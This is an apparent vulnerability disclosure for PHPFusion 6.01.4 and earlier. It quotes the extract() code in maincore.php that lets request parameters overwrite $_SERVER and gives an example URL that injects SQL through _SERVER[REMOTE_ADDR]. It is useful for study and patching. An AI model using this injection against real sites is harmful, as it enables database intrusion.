PHPFusion <= 6.01.4 extract()/_SERVER[REMOTE_ADDR] sql injection exploit

/*

works with

register globals = *Off*

magic_quotes_gpc = Off

explaination:

vulnerable code in maincore.php at lines 15-21:

...

if (ini_get('register_globals') != 1) {

$supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_
FILES","_GLOBALS");

foreach ($supers as $__s) {

if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE);

}

unset($supers);

}

...

extract() function can be sometimes a security hazard, in this case it allows

to overwrite some arrays like _SERVER[] one and launch an sql injection attack,

ex:

http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL]

other attacks may be possible...
